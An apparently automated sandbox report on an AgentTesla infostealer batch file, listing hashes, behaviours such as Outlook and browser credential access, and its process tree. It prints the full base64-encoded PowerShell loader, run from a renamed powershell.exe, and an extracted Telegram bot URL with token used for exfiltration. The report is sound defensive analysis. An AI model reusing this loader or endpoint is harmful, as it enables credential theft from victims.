Analysis
-
max time kernel
145s -
max time network
137s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
02-10-2023 21:31
Static task
static1
Behavioral task
behavioral1
Sample
yy.bat
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
yy.bat
Resource
win10v2004-20230915-en
General
-
Target
yy.bat
-
Size
1017KB
-
MD5
4d1fe0a1752f2405de5802aef37be7e4
-
SHA1
7b0f523763798939b510f29437aec76e8bf7388c
-
SHA256
db20a7e5e6da87473dfd4a71d6e94bc16b116afcdb33b5da67048c31716a926c
-
SHA512
c74bafb2e8e00563dd00d8255aaeba271b6b361f1a820c2331e48ee07e7ff578ff00a7ed584635033d430f5986a8c2180c8c9f8ada1a073b6cfcc70d1d168e11
-
SSDEEP
24576:M102QokUMfJmlfdaedmp+hohWzAlXl/Gju:yUy34WnAXn
Malware Config
Extracted
agenttesla
https://api.telegram.org/bot6568247464:AAHsSOES5pRueRqAlbG1bx5hx02y4of2d_Q/
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Executes dropped EXE 1 IoCs
pid Process 4776 Hxoaznobtmy.png -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Hxoaznobtmy.png Key opened \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Hxoaznobtmy.png Key opened \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Hxoaznobtmy.png -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 46 api.ipify.org 47 api.ipify.org -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4776 Hxoaznobtmy.png 4776 Hxoaznobtmy.png 4776 Hxoaznobtmy.png 4776 Hxoaznobtmy.png -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4776 Hxoaznobtmy.png Token: SeDebugPrivilege 4776 Hxoaznobtmy.png -
Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 2248 wrote to memory of 2612 2248 cmd.exe 86 PID 2248 wrote to memory of 2612 2248 cmd.exe 86 PID 2612 wrote to memory of 4996 2612 cmd.exe 88 PID 2612 wrote to memory of 4996 2612 cmd.exe 88 PID 2612 wrote to memory of 3832 2612 cmd.exe 89 PID 2612 wrote to memory of 3832 2612 cmd.exe 89 PID 2612 wrote to memory of 3540 2612 cmd.exe 90 PID 2612 wrote to memory of 3540 2612 cmd.exe 90 PID 2612 wrote to memory of 1916 2612 cmd.exe 91 PID 2612 wrote to memory of 1916 2612 cmd.exe 91 PID 2612 wrote to memory of 4776 2612 cmd.exe 92 PID 2612 wrote to memory of 4776 2612 cmd.exe 92 PID 2612 wrote to memory of 4776 2612 cmd.exe 92 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Hxoaznobtmy.png -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2344688013-2965468717-2034126-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Hxoaznobtmy.png
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\yy.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2248 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\yy.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:2612 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "3⤵PID:4996
-
-
C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Hxoaznobtmy.png3⤵PID:3832
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo F "3⤵PID:3540
-
-
C:\Windows\system32\xcopy.exexcopy /d /q /y /h /i C:\Users\Admin\AppData\Local\Temp\yy.bat C:\Users\Admin\AppData\Local\Temp\Hxoaznobtmy.png.bat3⤵PID:1916
-
-
C:\Users\Admin\AppData\Local\Temp\Hxoaznobtmy.pngC:\Users\Admin\AppData\Local\Temp\Hxoaznobtmy.png -win 1 -enc JABLAGMAYwB0AHkAIAA9ACAAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAKAAoAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlACkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIALgBiAGEAdAAiACkALAAgAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AbABhAHMAdAAgADEAOwAgACQASwBoAG4AZgBwAHUAdAB2ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEsAYwBjAHQAeQApADsAJABMAHMAZQBiAGcAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACAALAAgACQASwBoAG4AZgBwAHUAdAB2ACAAKQA7ACQAbwB1AHQAcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AOwAkAE8AYgBhAHoAZABtAHgAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQATABzAGUAYgBnAHMALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAE8AYgBhAHoAZABtAHgALgBDAG8AcAB5AFQAbwAoACAAJABvAHUAdABwAHUAdAAgACkAOwAkAE8AYgBhAHoAZABtAHgALgBDAGwAbwBzAGUAKAApADsAJABMAHMAZQBiAGcAcwAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAEsAaABuAGYAcAB1AHQAdgAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABLAGgAbgBmAHAAdQB0AHYAKQA7ACAAJABNAGwAZABsAGsAaABnAGoAYgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABLAGgAbgBmAHAAdQB0AHYAKQA7ACAAJABDAG8AcABqAGIAegBpAHAAeABxACAAPQAgACQATQBsAGQAbABrAGgAZwBqAGIALgBHAGUAdABFAHgAcABvAHIAdABlAGQAVAB5AHAAZQBzACgAKQBbADAAXQA7ACAAJABKAG4AaQB2AHcAagBpACAAPQAgACQAQwBvAHAAagBiAHoAaQBwAHgAcQAuAEcAZQB0AE0AZQB0AGgAbwBkAHMAKAApAFsAMABdAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:4776
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
-
Filesize
1017KB
MD54d1fe0a1752f2405de5802aef37be7e4
SHA17b0f523763798939b510f29437aec76e8bf7388c
SHA256db20a7e5e6da87473dfd4a71d6e94bc16b116afcdb33b5da67048c31716a926c
SHA512c74bafb2e8e00563dd00d8255aaeba271b6b361f1a820c2331e48ee07e7ff578ff00a7ed584635033d430f5986a8c2180c8c9f8ada1a073b6cfcc70d1d168e11
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82